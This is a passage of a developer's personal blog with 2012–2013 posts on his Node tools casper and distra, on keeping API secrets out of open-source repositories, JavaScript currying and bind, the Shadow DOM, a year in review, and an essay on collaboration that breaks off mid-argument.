Tom Ashworth - phuu.net

casper: helpers and handlers for Express

2013-04-24T19:00:00+01:00

Hot on the heels of distra, here’s another little something for your toolbox! Watch the intro video, or check out the documentation. Either way, enjoy…

casper is a set of helpers and handlers for building JSONP APIs in Express.

All casper’s methods return a function that can be used in the Express callback chain, or as callbacks for methods that retrieve data, which would typically be a database.

Install

Install casper using npm:

npm install casper

Example usage

The following examples assume that you’ve got the following set up:


// an instance of express() (app) is available
var app = express();

// Grab casper
var casper = require('casper');

Basic handlers

Send an empty object:


// res.jsonp({}) is sent
app.get('/', casper.noop());

Or return some custom data:


// res.jsonp({ hello: 'world' }) is sent
app.get('/',
  casper.noop({
    hello: 'world'
  }));

Database callbacks

casper.db

casper.db returns a function to be used as a database callback. It assumes the first argument is an err and the second is the data is has to send – an array or an object.

It takes Express’ req and res as arguments:


casper.db(req, res)

For example:


app.get('/',
  function (req, res) {
    YourModel
      .find()
      .exec(casper.db(req, res));
  });

It can also take a callback which, if present, is called instead of sending data directly back to the client.

With a callback:


app.get('/',
  function (req, res) {
    YourModel
      .find()
      .exec(casper.db(req, res, function (err, data) {
        // Do something with data
      }));
  });

If it is passed an error, it will pass that on to the client with a 500 status code. If it recieves no data, or an empty array, it will return the data it recieved with a 404 status.

Checks & filters

Casper also has some useful checks & filters to help you ensure the data you’re recieving is what you’re expecting.

capser.check.body

Check for the presence of data in the body using a key:

For the following, assume the body is { testKey: "Hello" }


// calls next() becuase present
app.get('/',
  casper.check.body('testKey'),
  casper.noop());

If the data is missing from the body it sends a 400 error, detailing the missing parameter:


app.get('/',
  casper.check.body('nonExistantKey'),
  casper.noop());

// results in
res.jsonp(400, { error: 'Missing nonExistantKey from body.' });

capser.rm.body

Remove a key from the body:


// body is { testKey: "Hello", otherKey: "World" }
app.get('/',
  casper.rm('testKey'),
  casper.noop());

// afterwards body is { otherKey: "World" }

casper.allow.body

Whitelist a key or array of keys allowed on the body.


// body is { testKey: "Hello", otherKey: "World" }
app.get('/',
  casper.allow.body('otherKey'),
  casper.noop());

// afterwards body is { test: "Hello" }

With an array:


// body is { testKey: "Hello", otherKey: "World", unwantedKey: "World" }
app.get('/',
  casper.allow.body(['testKey', 'otherKey']),
  casper.noop());

// afterwards body is { testKey: "Hello", otherKey: "World" }

Feedback welcome!

As ever, I hope casper is useful to you! If you’ve got any feedback, bugs or ideas then let me know on Twitter or, even better, on GitHub.

distra: static server & reverse proxy

2013-04-24T00:00:00+01:00

Here’s an introduction to an project I open-sourced recently: distra. There’s a video, and then a short article about it.

distra is a tool for building websites. Use it to serve static files and directories, and to give servers running on your computer nice URLs. You can set up hosts and routes (directories or proxy targets) using JSON, and then feel like a boss.

It also adds to your hosts file (safely) so you never have worry about that either!

Why?

I had so many servers, particularly serving static files, that I never knew what was being served and on which port. So I built this so I’d never have to care again… and neither will you.

Install

distra requires:

OS X (yeah, sorry)
Node
npm

In your terminal:


> npm install -g distra
> distra

Wahey! You’re up.

But it won’t do much yet – you need to configure it.

Configuration

distra is configured from the .distra.json file in your home directory, but you don’t ever have to touch this file if you don’t want to.

Adding a host

To add a host, use distra add.


> distra add [host] [directory or url]

The host and directory or url are both optional. If you omit the directory or url distra will serve your current directory.

If you omit both, distra will serve the current directory with the name of the directory as the host.

Try it:

Head to a directory with some .html files in it, lets say it’s called website.


> distra add

Assuming distra is started (just use distra), you will find that you can go to http://website:9876/ and access those files.

distra is servering the website directory from the URL http://website:9876/. Neat, huh?

Note: If you’re running distra without sudo (so it’s not running on port 80), then you’ll need to add all of these URLs to your hostsfile. To aviod this, run distra on port 80. How to do this is outlined in the ‘tips’ section.

Removing a host

To remove a host, use distra rm.


> distra rm [host]

Again, host is optional - by default, it will just use the directory name.

The config file

The config file will generally be found at ~/.distra.json.

Here’s an example.


{
  "mysite.dev":   "localhost:4000",
  "project":      "/Users/you/sites/project"
}

In the example above, requests made to http://mysite.dev/ will be proxied through to the server running on port 4000 (a Jekyll server, perhaps). Requests made to project will be served static files from the directory specified.

You can view your current config using distra:


> distra config

Tips

Here’s a couple of tips to help you out:

Ports

You can specify the port on which you want distra to start.


> distra 1337

Portsaway!

I recommend starting distra on port 80 so you don’t have to mess around with ports and your hostsfile!


> sudo distra 80

Finally

distra has become an integral part of my workflow – let me know if you use it, like it or come across any bugs!

Keeping Open-Source Secrets

2013-04-11T20:00:00+01:00

Often with an open-source project you need to keep private configuration secret - it can’t be shared alongside the code. This can be anything that dictates the running of the app – like client secrets for a 3rd party API – that’s important to keep safe from potentially malicious uses.

Ways of keeping this data away from prying eyes may not be immediately obvious, but here’s a few options to get you started.

.gitignore

One way is to use a config file that’s never commited into the repository. You might use JSON and tell your open source users that they need to create their own to run the app:


{
    "db": "mongodb://localhost:27017/some-database",
    "twitter": {
        "client_id": "YOUR_CLIENT_ID",
        "client_secret": "YOUR_CLIENT_SECRET"
    }
}

And then import it into the project (here using Node):


// Create your own config file to run this app
var config = require('./config.json');

To make sure this file is never committed, make sure to ignore the file. In Git, this is done with a .gitignore file that goes in the root of your repo:


# ignore config file
config.json

It’s also worth providing a sample configuration file to help others out – you could call it config.example.json. Something like the above example is non-specific enough to work nicely.

This method works very well if you have direct access to the filesystem of the server (‘environment’) because you can update the config file manually. It doesn’t work so well if your app is automatically deployed, or you use continuous-integration because you may not have that requisite access to the files.

If you use a ‘cloud’ service like Heroku that deploys using a version-control system then this option is out of the question because the config file is not in the repository!

Private fork

Another way is to maintain a private version – or fork – of you app, storing the key information in the private repository. Again you might use JSON to keep your config, although you could keep it directy in the code:


var config = {
    db: "mongodb://localhost:27017/some-database"
};

This method means fixes and improvements go to the open-source version, and you have to manually merging them into your private version. That’s a bit of extra work, and it can create problems if you discover and fix a bug in the private fork because you’ll need to carefully branch to allow you to pull-request back into the public fork.

Having a private fork is also limited when it comes to deploying to multiple environments – like staging and production servers because you have to store configuration for both environments in the fork.

I’m using hybrid of the above for a media server called medyana. I have a private fork that hosts my podcast, Less Than Bang. It contains files.json that points to where each episode is hosted.

Unfortunately I’m also demonstrating the above problem well, because the private repo has had a number of fixes that the public code has missed out on (so far)!

It’s worth saying that this method works if your deployments are cloud-based, too.

Environment-agnostic

A good alternative is to build your app to be environment-agnostic. That means storing all configuration data in the environment – on the server – you are depoying to.

Setting environment variables is pretty simple:


export DB_URI=mongodb://localhost:27017/some-database

You app will be able to access the environment data to configure itself:


var config = {
    db: process.env.DB_URI
};

This method is fragile however, because variables set in the above way don’t persist across system restarts or even new processes.

To have them persist, set them in the .bashrc (or other shell configuration file) of the user who will be running the app (not root!):


DB_URI=mongodb://localhost:27017/some-database
TWITTER_CLIENT_ID=YOUR_CLIENT_ID
TWITTER_CLIENT_SECRET=YOUR_CLIENT_SECRET

This works for OSX and Linux, but of course, it’s different if you’re using a Windows server.

In the cloud

If you’re deploying to a cloud service like Heroku or Nodejitsu then you’ll need to use a slightly tweaked version of the environment variable method: you don’t have access to the files, you have no control over the machine your app will be run from, and deployment is done via Git!

I only have experience doing this with Heroku, so I’ll keep it specific to that service, but setting persistent environment variables on all these services is simple.

Environent management on Heroku is done with their fantastic command-line toolbelt. Amongst other things, it lets you set up environment varibales for your app:


heroku config:set TWITTER_CLIENT_ID=YOUR_CLIENT_ID TWITTER_CLIENT_SECRET=YOUR_CLIENT_SECRET

Heroku sets up some variables by default; you can view these using heroku config on its own.

Again it’s a case of bringing the variables into your app:


var config = {
    twitter: {
        id: process.env.YOUR_CLIENT_ID,
        secret: process.env.YOUR_CLIENT_SECRET
    }
};

You’ll also need to use this method if you’re using any of Heroku’s plugins, as they store their configuration data in the environment too – for example, the database providers add a database URI variable to the environment for you to use. With MongoHQ, it might look like:


config.db = process.env.MONGOHQ_URI;

I use this method with my App.net Friend Finder and a couple of other projects.

Hybrid approach: best of both

Since I deploy most of my projects using Heroku the last method is really my only option, but it’s possibly the worst for users and contributors to open-source projects. So the best thing to is to support multiple ways of configuring your app!

Setting up a chain set of fallback configuration options is reasonably simple, and if you’re using Express you might have seen code like this before.

The priority chain goes like this: arguments to the process; then environment variables; then config files and finally in-app configuration.

Here’s an example:


// Grab the config file if it's there
var configFile;
try {
    configFile = require('./config.json');
} catch (e) {
    configFile = {};
}

// Then configure!
var config = {
    port: parseInt(process.argv[2], 10) || parseInt(process.env.PORT, 10) || configFile.port || 8000,
    db: process.env.DB_URI || configFile.db || 'mongodb://localhost:27017/some-database',
    twitter: {
        id: process.env.TWITTER_CLIENT_ID || configFile.twitter.id || '',
        secret: process.env.TWITTER_CLIENT_SECRET || configFile.twitter.secret || ''
    }
};

This allows you and your contributors to easily configure the app, and modify it on the fly.

By the way, for more advanced argument handling, take a look at optimist or commander.

Summing up

Keeping things a secret while giving out all your code is no mean feat. I hope this helps you out.

I’ll be trying to use the last snippet in all future projects of mine; it makes the project easy to configure and flexible to deploy. Actually, deploying projects is something I’d like to address in a future post…

Respond

2013-02-02T00:20:00+00:00

There’s an important part of painting on the web canvas often missed, and the following is a thought dump with that in mind.

Responsive web design has been called a return to the web’s roots, but I don’t think that’s true at all.

Design for the web went in the wrong direction, that’s clear, but the return to building a web that works everywhere for anyone merely brings us back to where we always should have been. It’s a baseline from which to work in the future.

However, the word responsive is, for me, the spark of a future dream. Truly responding to the user and their behaviour and context is something that I would like to explore and see explored, and the web is – perhaps uniquely – positioned to do so.

My location, my mood, the weather, my recent tweets, friend’s activity, time of day, recent behaviour… these are all context that we have ready access to but are taking little advantage of. We could do so much with them.

A button I never press, a menu I never open, a feature unused… these are contexts and behaviours that we can design for and respond to.

My point is that we know so much about a user yet we do so little with that information. A user’s device is not their context; their environment and behaviours are, and I believe we can use these to design experiences that emulate the malleable and responsive real world.

useful js: snippets

2012-12-20T17:00:00+00:00

Here’s some Javascript snippets I find myself using every day. You should be good to drop them into your page, but if you’ve not familiar with a particular technique then it’s always good idea to read up on it before using it. I’ve provided links where I can.

Note: Some snippets use parts of Javascript ES5. To get this stuff in older browsers (< IE9), use the ES5 Shim.

Log arguments

Need to check the all the arguments coming into a function? No probs: use call and apply.


console.log.apply(console, [].slice.call(arguments));

Set ‘this’ in setTimeout

Want to make sure of the value of this is the same inside a setTimeout callback? Use bind.


setTimeout(function () {
  // Do yaw thang...
}.bind(this), 1000);

Call a function from setTimeout

Do you do this much?


setTimeout(function () {
  do_something_with(x, y);
}, 1000);

Try this (again with bind):


setTimeout(do_something_with.bind(this, x, y), 1000);

Filter items from an array

Need to make sure all items in an array pass certain criteria? Try filter. If you return true from the callback the item is kept, otherwise it’s scrapped.


var evens = [1,2,3,4].filter(function (val) {
  return (val % 2 === 0);
});

Operate on an array

Want to carry out an operation on every item in an array? Take a look at map.


var squares = [1,2,3,4].map(function (val) {
  return val * val;
});

Easy function defaults

You’ve got a function that can takes an optional argument, and you want to provide a default.

Use the or operator! (Also, get nerdy)


var say = function (word) {
  word = word || "Hello!";
  console.log(word);
};

say(); // logs "Hello!"
say("World!"); // logs "World!"

A year to remember

2012-12-18T00:00:00+00:00

For me, 2012 was an incredible year. This here’s a sprint straight through it all, as much to remind me as anything else!

University

In September I started a Computer Science degree at Cardiff University, and gave a short lecture to my year group on HTML5. I walked out of a lecture and nearly quit in January. The whole experience was very frustrating for me, which may well be a function of being single-minded to a fault.

frittr

I built frittr, a wee money management tool, using Node and Mongo and Heroku – the latter two were more or less new to me. It taught me a lot about building products and where the real work lies – the stuff they don’t tell you about. frittr wasn’t a success at all, but was fun all the same, and restored the bug for building stuff.

Show & Tell

I spoke at Multipack Show & Tell in February about Node, Mongo and Heroku based on experience from frittr. Buzzword heaven, yes, but it was my first taste of technical speaking to a knowledgable crowd, and a great experience.

Multipack

After much discussion with various Multipackers, I redesigned and built the new Multipack website with much-appreciated coaching from Andy Higgs. All in all, it took way, way too long to be launched (only launched in October-ish)!

Buffer

As the uni year headed into exams I joined Buffer “part-time”, but worked almost full-time for them from April till August, including three weeks in baking-hot Tel Aviv. An amazing experience that taught me a lot about the world of startups, managing my own time and building a product. They moved to the States so it wasn’t going to work out, but I’m very happy (and grateful) for the opportunity to work with that very talented – not to mention hard working – bunch of guys and girl.

App.net

After coming back from Tel Aviv I was as something of a loose end. Fortunately, App.net arrived on the scene, and I picked it up and ran with it, building the friend finder and the cross poster. Credit to Rich Cunningham and Ant Willaims (Multipackers both) for pushing me to do it, and to charge in particular. Both were a much greater success than I expected: approaching eight thousand people have found their friends, and around have 350 paid for Twapp to cross-post to Twitter.

I made quite a screw-up however, posting to a number of my customer’s Twitter accounts without them knowing. While some people were angry, after I’d apologised personally and profusely most were absolutely fine with it.

Brighton

Around the same time I headed down to Brighton for my first conferences, Reasons to be Creative and dConstruct, and for one of the most incredible weeks of my life.

I was fortunate enought to meet many people who I hold in very high regard, including the bemohawked Remy Sharp. I was preparing to head back to university, but he offered me a job. I accepted, and now here I am!

I have a lot to say about that experience and how I feel about it, but perhaps this isn’t the time. Suffice it to say, I’m in my dream job and having a truly great time.

The future

I’m looking forward to an incredible 2013. I have the option to go back to uni in September but it’s not looking likely, because right now I’m having a blast working with the lovely family that is Left Logic doing what I enjoy most: building shit.

Please

2012-12-15T01:00:00+00:00

Please, please, please, write good documentation.

Take time, think about it and use English correctly. Form sentences.

Put yourself in the other person’s shoes, be empathetic and give a damn about how you come across.

Read it back, try it out.

Write good documentation.

Please.

Code Sketching

2012-11-17T19:00:00+00:00

Here’s a technique I like to think of as sketching in code, the end goal of which is a well designed, usable interface for your code.

For example, an interface for a publisher/subcriber module. I’ve iterated over a few ways of doing it:


pubsub.trigger('some_event', true, 'abc');

pubsub.on('some_event', function (event, thing, name) {
  // ... do stuff
});

// ...

pubsub.emit('some_event', true, 'abc');

pubsub.on('some_event', function (thing, name) {
  // ... do stuff
});

// ...

pubsub.pub('some_event', {
  example: true
});

pubsub.sub('some_event', function (data) {
  // ... do stuff
});

I’ll also sketch out data structures:


var client_to_server_payload = {
  data: {
    // ...
  },
  meta: {
    session_token: 'abc123xyz789',
    transaction_token: 'a1b2c3x4y5z6',
    action: 'blow_stuff_up'
  }
};

Often the first idea I come up with is not the best I could do and I find I can iterate quickly on an idea towards a better solution by sketching. I’m not worried about implementation; if anything, I’m trying to find difficulties and problems that might crop up down the line, and avoid them before I start coding.

Sketching?

Before spending time on a feature, I find it helpful to think through different ways something could work, and how it could be interacted with.

Like you might with a pen & paper, I open up a new, blank file and write little snippets. Sometimes I save them, often I throw them away. The goal is not working code; it’s to get through as many bad ideas as fast as possible until I have a good one.

Developer UX

For me, the goal of sketching is to figure out the ideal way I’d like to interact with the module or service. ‘API’ is mostly taken to mean a way of interacting with a web service, but it actually applies to any kind of module, library or service, and for me the most important letter is the ‘I’ – interface.

I think that, in much the same way as a designer spends time reasoning and protoyping about how a user would interact with a visual interface, it’s important for me to spend time ensuring that the code interface is as intuitive, consistent and clear as possible.

Here’s a few things I try to think about:

Guessability

If I know how the interface works in one place, can I guess how it works elsewhere?

For example, if an object is setup using an init method, others in the same system shouldn’t use a setup method.

Arguments & consistency

Do I have to remember argument order?

If a function takes many arguments, it’s generally a bad idea to require them in a specific order. It’s better to take one argument, an object, and pick some sensible defaults. This is so that the user of my code interface only needs to supply the options that make a difference.

If I’m going to take multiple arguments (and in many cases it’s neccessary and useful), it’s vitally important to be consistent.

PHP, for example, gets this totally wrong: array_filter($input, $callback) and array_map($callback, $input)?! strpos($haystack, $needle) and array_search($needle, $haystack)?!

Data

How is the data represented by the consumer, and how does that relate to its storage?

I try to mockup ways real data could be stored so that it’s logical and also easy to use, but also makes sense from a data storage point of view. Some things to think about:

How does my data structure map to a database? Does it need transforming?
Once it’s in a database, what will I need to query against?
What kind of operations will I be performing on the data ?
Do I need to use a relational database – will a simple key/value store will do?

Designed code

The overall goal is well designed code. It’s very similar to how designers craft interfaces and user experiences; I’m building something for myself and other developers to use, so I enjoy taking the time to craft a great code interface.

useful js: curry and bind

2012-11-16T22:00:00+00:00

Currying

I like curry. But I think I like currying even more. So what is it?

Currying, also known as ‘partial function application’, is complicated to explain in just words, but I’ll give it a go:

Partial function application is fixing a set of arguments to a function, producing another function to be used later.

The new function that’s produced is like a cloned version of your first function, except that some arguments are set and can’t be changed. You set the arguments when you ‘curry’ the function.

Here’s an example in psuedo-javascript:


var add = function (a, b) {
  return a + b;
}

var add_ten = curry(add, 10)

var fifteen = add_ten(5)

Here we’re currying the add function to produce a new function, add_ten, that is actually our add function but with the first argument fixed at 10. When you call add_ten you supply the second argument to add.

Neat, huh?

Yup, but how does it work?

Well, let’s create an implementation of curry from scratch.

If you haven’t already, it’s worth reading my call & apply post becuase this example will make heavy use of them both.

What we’re going to do it make a really dumb version, then tweak and optimise as we go. We’ll start simply by making the example above work.

Here it is in proper-javascript, with added (bad) curry sauce:


var bad_curry = function (fn, first_argument) {
  return function (second_argument) {
    return fn(first_argument, second_argument);
  };
};

var add = function (a, b) {
  return a + b;
};

var add_ten = bad_curry(add, 10);

var fifteen = add_ten(5);

fifteen is 15. Nice. But that bad_curry function is pretty useless for anything other than a 2 argument function. Let’s see what we can do.

Infinite arguments

So here’s a new curry function that supports any number of arguments.


var meh_curry = function () {
  var fixed_args = [].slice.call(arguments);
  var fn = fixed_args.shift();
  return function () {
    var new_args = [].slice.call(arguments);
    var all_args = fixed_args.concat(new_args);
    return fn.apply(null, all_args);
  };
};

var add_four_things = function (a, b, c, d) {
  return a + b + c + d;
};

var add_5_and_6 = meh_curry(add_four_things, 5, 6);

var fourteen = add_5_and_6(2, 1);

Chyeah. Here’s the explanation:

In case you didn’t know, [].slice.call(arguments) turns arguments into an array (cos it’s not one).

meh_curry uses that a couple of times: first, it stores the fixed arguments, and extracts the function we are currying from the front of the array (by shift‘n it).

It then returns a new function that concatenates the fixed arguments to any arguments it recieves, and then runs the initial function using apply, passing an array of all the arguments concat‘d together. Nice!

But, I think we can do a little bit better.

Ninjafy

I’ve cut the above meh_curry into a flavoursome alternative, curry:


var curry = function (fn) {
  var slice = [].slice,
      args = slice.call(arguments, 1);
  return function () {
    return fn.apply(this, args.concat(slice.call(arguments)));
  };
};

I’ll leave it to you to see what I’ve done – if you have any questions then just ask in the comments.

By the way: ‘currying’ and partial function application are technically not the same thing, but the difference is relatively insignificant.

Bind

bind is really cool, let’s check it out…

Javascript’s real name is ECMAScript, but since that’s almost a skin condition, we mostly stick with Javascript. Most of the JS you write conforms to the ECMAScript3 specification (ES3). However, ES5, the new specification (available in most browsers these days and polyfillable where not found), adds some rather useful things to the language. One of these is bind.

bind is your friendly neighbourhood currier. You can call bind on any function (where ES5 is available) to specify what the value of this should be when the function is called. It doesn’t actually call the function (unlike call and apply): it returns a new function where this is bound to whatever you pass into bind.

Why might you want to do that? Well, consider this:


var person = {
  name: 'Example Person',
  greeter: function () {
    return this.name + ' says: Hello!';
  }
};

var tom = {
  name: 'Tom'
};

In that (contrived) example, person has a greet method that references this.name. If we just called person.greeter we’d get “Example Person says: Hello!” back. That’s ok, but we can use bind to have Tom do the greeting:


var tom_greeter = person.greeter.bind(tom);
console.log(tom_greeter()); // Tom says: Hello!

Binding & currying

Bind does more than that too. It can actually be used for the same kind of function currying that we were doing above, because it will also pass any further arguments you give it (after the value of this) to the function you are currying. Like this:


var person = {
  name: 'Example Person',
  greet: function (salutation, thing) {
    return this.name + ' says: ' + salutation + ', ' + thing + '!';
  }
};

var tom = {
  name: 'Tom'
};

var tom_says_hi = person.greet.bind(tom, 'Hi');
    
console.log(tom_says_hi('Jim')); // Tom says: Hello, Jim!

DIY curry binder!

So bind’s cool. But the best way to learn how something works is to build it, so let’s make our own version of bind based on curry from earlier.

We’ll take the function to be curried as our first argument, the value of this as our second, and then fix all the rest of the arguments.


var curry_bind = function (fn, that) {
  var slice = [].slice,
      args = slice.call(arguments, 2);
  return function () {
    return fn.apply(that, args.concat(slice.call(arguments)));
  };
};

Woopee! We can use it like this:


var person = {
  name: 'Example Person',
  greet: function (salutation, thing) {
    return this.name + ' says: ' + salutation + ', ' + thing + '!';
  }
};

var tom = {
  name: 'Tom'
};

var tom_says_sup = curry_bind(person.greet, tom, 'Sup');
    
console.log(tom_says_sup('dawg?'));

Real examples

So where would you use these in real life?

setTimeout

This pattern is pretty common:


your_thing.wait_a_bit = function () {
  var that = this;
  setTimeout(function () {
    that.do_something();
  }, 1000)
};

But dayum, it’s ugly. How about this?


your_thing.wait_a_bit = function () {
  setTimeout(this.do_something.bind(this), 1000);
};

Ah, much nicer.

pubsub

If you’re using a pubsub system, you may want your event-handling callbacks to be to bound to the correct this. Some pubsub systems support doing so, but here’s how make sure of it, using bind.


your_thing.listen = function (pubsub) {
  this.do_something();
  pubsub.subscribe('some:event', function (data) {
    this.do_something_after_event(data);
  }.bind(this));
};

And we’re done

Currying is really useful tool to have in your arsenal, allowing you to write much cleaner, more expressive code. And since bind can be found in all modern browsers (and can be added to older browsers), so why not try it out?

Once again, thanks for reading, and don’t forget to share this article if you found it useful!

Components & the Shadow DOM

2012-11-13T22:00:00+00:00

Recently I heard a few people mention the Shadow DOM. It sounded cool, so I decided to explore it: turns out that it’s part of a ‘component’ model for the web that’s really rather exciting.

Note: for these examples, you need to be using Chrome Canary (yep, sorry. Only Webkit has this implemented). It’s also a good idea to switch on Shadow DOM inspection – click the cog in the bottom right of Carnary’s dev tools, and tick the ‘Show Shadow DOM’ box.

Initial reading

Although I’d heard about it I knew very little about the Shadow DOM, so, first, I did some research.

I started by reading through the W3C’s spec, which is a little dense but readable. The Shadow DOM Subtrees section was interesting and helpful, as was the final News Widget example. Although the examples are written in a humorous style, I found it could actually obscure what the author means. This Contacts Widget example was also useful.

Roman Liutikov’s Shadow DOM article was helpful in getting a basic understanding past the W3C spec, in part thanks to some tasty diagrams, and I found also found Dimitri Glazkov’s What the heck is Shadow DOM post useful. He’s the editor of the spec, so should know what he’s talking about!

I was also pointed towards the Web Component intro that was very helpful for understanding where this is all going.

What I learnt from reading…

The Shadow DOM is a secret society of people called Domonic… oh no, sorry, that’s… uh…

The Shadow DOM is:

a method of establishing and maintaining functional boundaries between DOM subtrees and how these subtrees interact with each other within a document tree, thus enabling better functional encapsulation within DOM.

For non-robots like you and I, I’ll give you my interpretation…

The Shadow DOM allows us wrap DOM structures and behaviour into components, so that complex interfaces & implementation can be abstracted or hidden to assist the developer.
The developer should be able to operate on a component (or ‘widget’) using a DOM API, without worring that doing so will break the component.
The hidden DOM representation of the component is called the shadow tree.

For example, the HTML video element. It’s just such a component; the controls are just HTML and CSS, but if you inspect the element you’ll only see the video element itself and associated sources. None of the controls.

If you have Shadow DOM inspection on, you’ll see #shadow-root. That’s the (normally hidden) link into Narnia… er, the Shadow DOM.

You can add and remove video components like you would any other page element, like a div, inluding firing and listening for events, without needing to care how it works on the inside.

Why’s that cool?

As web authors, there’s always been a problem writing widgets and components for other’s pages: it’s possible for something from the outside page to access the component in such a way that it may (acidentally or deliberately) prevent the component from working.

The Shadow DOM aspect of the component model means you can encapsulate the functionality of a widget so that it is (mostly) inaccessible from outside.

A simple example is that, by default, styles from the surrounding page do not apply the shadow tree, so you can be (reasonably) sure your components will look the same everywhere.

So, with the Shadow DOM, it’s possible to create our own components, and hide the interface and behaviour in just the same way as the video element, exposing only the methods and events needed to make the component useful.

Ooh, tell me more…

First, let me back up. What’s actually going on inside? How’d you ‘do’ Shadow DOM?

When you use the Shadow DOM, you attach a shadow DOM tree to an existing DOM tree. Essentially you’re merging existing DOM structure with new, hidden stuff, to provide exciting new functionality. Your new, shadow structure is used displayed instead of the existing tree, but the original DOM is not removed.

This means you can use existing data in the page by utilising nifty ‘insertion points’ that specify what data will be put where in your shadow tree. This is done with a new element. Meet <content> (well, later).

So what’s it all for?

What I’ve described above is imperative creation of Shadow DOM, attached to regular DOM using Javascript.

But why do we have to use Javascript? This is really HTML (well, DOM) after all: can’t we do it there?

Why yes, how perceptive of you. The Shadow DOM forms the basis of several new bit of functionality, and new elements, so we can do most of this stuff declaratively. Meet:

templates: <template>
decorators: <decorator>
custom elements: <element> (an HTMLElementElement!)

Together, they afford us the opportunity to declaratively create things that exist in the Shadow DOM!

Experimentation

(or, how did I find this out?)

btw: Much of this before writing the above – it was just me messing around.

Since my goal was to learn about the Shadow DOM and all the new functionality so that I could start writing my own components, I started fiddling.

The first thing I did was steal and rewrite the News Widget example. I often find tinkering with working examples is a great way to get an idea of what does what, and it means that if something breaks you can always get back to a working version.

Here’s how it looks:

Check out the working version (remember, Canary plz).

What’s it doing?

On the page we have a unordered list of story ‘headlines’, each a link to the story with a class of stories. The list will become a widget!

First, it finds all ul elements with a class of stories, iterates through them and runs shadowify, passing each list element in turn.


document.addEventListener('DOMContentLoaded',
function () {
  var lists = document.querySelectorAll('ul.stories');
  [].forEach.call(lists, shadowify);
});

shadowify


var shadowify = function (list) {
  var root = new ShadowRoot(list);
  root.applyAuthorStyles = true;
  root.appendChild(
    groupify('breaking', '.breaking')
  );
  root.appendChild(
    groupify('not-so-breaking', '.not-so-breaking')
  );
  root.appendChild(
    groupify('other', '')
  );
};

shadowify does a little bit of magic. It creates a new Shadow DOM element (called the shadow root) using the new ShadowRoot constructor.

Note: Communication on the W3C public-webapps mailing list suggests that this will change very soon to a different pattern using a createShadowRoot(). Such is life, living on the edge.

root.applyAuthorStyles allows styles from the current page to be applied to children of the shadow root. By default, they’re not applied.

We then append three child nodes to the root, which are returned from the groupify function.

groupify


var groupify = function (className, contentSelector) {
  var group = document.createElement('div');
  group.className = className;
  group.innerHTML =
    '<ul>' +
    '  <content select="' + contentSelector + '">' +
    '  </content>' + 
    '</ul>';
  return group;
};

groupify does even more magic. It creates a div, and adds some innerHTML to it. But you’ll notice something odd in the HTML: the content element?!

As mentioned before, it’s new in the Shadow DOM spec, and is the ‘insertion point’ I also mentioned earlier. The content element and its select attribute are a placeholder and selector for content to be placed in the Shadow DOM.

In this instance, it’s matching list items from the stories list. Pass some selection criteria (a CSS selector) in the select attribute and it does the rest for you.

The group div then is returned and appended to the Shadow DOM.

A little filler

By the way, I’ve used this little snippet that allows me to avoid using WebkitShadowRoot every time. Just stick it on every page where you use the Shadow DOM.


window.ShadowRoot = window.ShadowRoot || window.WebKitShadowRoot;

Conclusion

The Shadow DOM seems like a really useful addition to the existing DOM specification, and in combination with the other elements mentioned above, it’s definitely something I want to spend more time exploring. I’ve only scratched the surface here.

Let me know if you do any experiments, and what you find.

Collaboration

2012-11-08T09:00:00+00:00

This is perhaps a slighly unusual post that I was going to give as the first part of a talk (perhaps I will at some point), but the subject matter wasn’t right for the event, so I fleshed it out and put it here. I hope you enjoy it.

50 thousand years ago, give or take, in Africa, there was a sudden explosion of evolutionary development tied to the emergence of our species, Homo Sapiens. It is thought by archaeologists and anthropologists that this is the period we developed a range of characteristics that make us, we believe, unique amongst all species, including language, culture and consciousness.

The development of language in particular, can be closely linked to human’s engaging in complex, high level social interactions. It may be the first time humans demonstrated the ability to use symbolic thought – classification of concrete things into abstractions.

Other symptoms of this change include evidence of finely made tools, bartering and basic economics, jewellery, cooking, burial, music and even art.

This explosion is known as the Upper Palaeolithic Revolution, or the Great Leap Forward, and it forms the basis of all that humans have achieved since, and social interaction, cooperation and altruism (and not killing each other’s babies) are very important aspects of what makes us, us.

Forming groups and working together in cooperation is another aspect that means humans and other animals are able to achieve great feats that are out of reach of the individual.

Ants are a great example of this, and they take it farther than humans ever have. Individually they are minuscule creatures but together they can create incredible structures in the ground that as complex as human cities. I’d like to show you a quick video from Ants – Nature’s Secret Power, a documentary from 2006. In it, we see a team of researchers excavating an abandoned ant megalopolis that they’ve filled with concrete. There results are are absolutely astounding.

Skip to 46:15 for the good stuff. Sorry, I couldn’t get YouTube embed to start at the right time.

Without any centrally organising force or management hierarchy, the ants work together to build something they never could alone, building a subterranean city for the good of the colony, even building rooms for food, storage and nurseries. The level and scale of cooperation can be hard to comprehend.

This kind of behaviour, exhibited by ants and other creatures, is called eusocial; the highest classification of social organisation amongst animal species.

Humans, evolutionarily speaking, have never co-operated at this scale because we are tribal, generally existing in numbers no greater than 150. You’ve probably heard that number before in this context. It’s approximate to Dunbar’s Number, a suggested limit to the number of people with whom you can maintain stable social relationships, generally thought to be between 100 and 230. The truth of this commonly cited ‘fact’ is contested, but I think it’s reasonably true.

Anecdotally, I find it hard to manage following more than 200 people on Twitter. How about you?

However, internet social networks raise interesting questions about human interaction, co-operation and collaboration. Suddenly we can be in simultaneous communication with vast numbers of people from well outside what would have been considered our ‘tribe’ just 10,000 years ago.

Undoubtedly, living amongst ever larger populations in ever expanding cities has put strains on our brains that are evolved for much, much smaller groups. And on the internet we have access to the internet-enabled population of the world, a number well over 2 billion.

As humans, we simply cannot work together on the same scale as ants. We are too complex. We have emotions, desires, dreams and, in general, an aversion to hard work. But the magic of the web is that we can work together in smaller groups, distributed across the world, to build things that have a global impact.

As builders of things on and for the web, we are uniquely position to do exactly this. By working with others, thousands of miles away, who you may never meet, we can collaborate on things that can have a truly global impact.

One of the best ways to do so is to contribute to an open source project.

If you’ve never done it before, or have only put your own projects on Github, getting started is pretty easy. There are many tutorials out there on the specifics of using git and Github, but I’d like to focus on the impact you can have very quickly.

One of the best ways to jump into a project is to fix a bug. All big projects (and, because of Github, most smaller projects) have a bug or issue tracker. This is the first thing to go to if you’d like work on improving an open source project. Browse through the issues and find something you think you can have a go at, and just jump in. When you’ve fixed it, submit your fix back to the maintainers of the project and they’ll give you feedback or merge it in.

Suddenly, you’re a contributor to an open-source project, and can immediately expect a 50% pay rise.

(Your results may vary.)

This may seem intimidating, and you may think that there’s no way you can have an impact on a project, particularly a big one. I struggle with this too, so to show you how little you have to do I took at look at a few of the most popular projects on Github and compared the number of bugs reported to the number of contributors with three or more fixes (specifically, commits) in the project.

